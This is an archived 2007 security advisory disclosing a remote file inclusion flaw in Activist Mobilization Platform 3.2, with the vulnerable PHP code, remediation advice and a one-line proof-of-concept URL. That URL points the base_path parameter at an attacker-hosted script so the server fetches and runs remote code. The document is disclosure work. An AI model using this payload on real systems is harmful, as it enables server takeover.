Home / os / blackberry
adv71-theday-2007.txt
Posted on 14 March 2007
____________________ ___ ___ ________ \_ _____/\_ ___ / | \_____ \n| __)_ / // ~ / | \n| \ \___ Y / | \n/_______ / \______ /\___|_ /\_______ / / / / / .OR.ID ECHO_ADV_71$2007 --------------------------------------------------------------------------- [ECHO_ADV_71$2007] AMP v3.2 (base_path) Remote File Inclusion Vulnerability --------------------------------------------------------------------------- Author : Dedi Dwianto a.k.a the_day Date Found : March, 13th 2007 Location : Indonesia, Jakarta web : http://advisories.echo.or.id/adv/adv71-theday-2007.txt Critical Lvl : Highly critical Impact : System access Where : From Remote --------------------------------------------------------------------------- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : Activist Mobilization Platform (AMP ) version : v3.2 URL : http://www.radicaldesigns.org AMP is completely dynamic suite of content management tools designed with the small non profit organization,grants roots coalition,political campaign or mass mobilization in mind. --------------------------------------------------------------------------- Vulnerability: ~~~~~~~~~~~~~ - Invalid require_once function at includes/base.php -----------------------includes/base.php------------ .... <?php require_once($base_path."includes/base_db.php"); require_once($base_path."includes/base_template.php"); ?> ---------------------------------------------------------- Input passed to the "$base_path." parameter in base.php is not properly verified before being used. This can be exploited to execute arbitrary PHP code by including files from local or external resources. Proof Of Concept: ~~~~~~~~~~~~~~ http://localhost/amp-3.2/includes/base.php?base_path=http://atacker.com/inject.txt? Solution: ~~~~~~ - Sanitize variable $base_path affected files. - Turn off register_globals - Upgrade to Lastest Version --------------------------------------------------------------------------- Shoutz: ~~ ~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous ~ Jessy Nice Girl ~ az001,bomm_3x,matdhule,angelia ~ newbie_hacker@yahoogroups.com ~ #aikmel - #e-c-h-o @irc.dal.net ------------------------------------------------------------------------ --- Contact: ~~~ EcHo Research & Development Center http://advisories.echo.or.id erdc[at]echo[dot]or[dot]id the_day[at]echo[dot]or[dot]id -------------------------------- [ EOF ]----------------------------------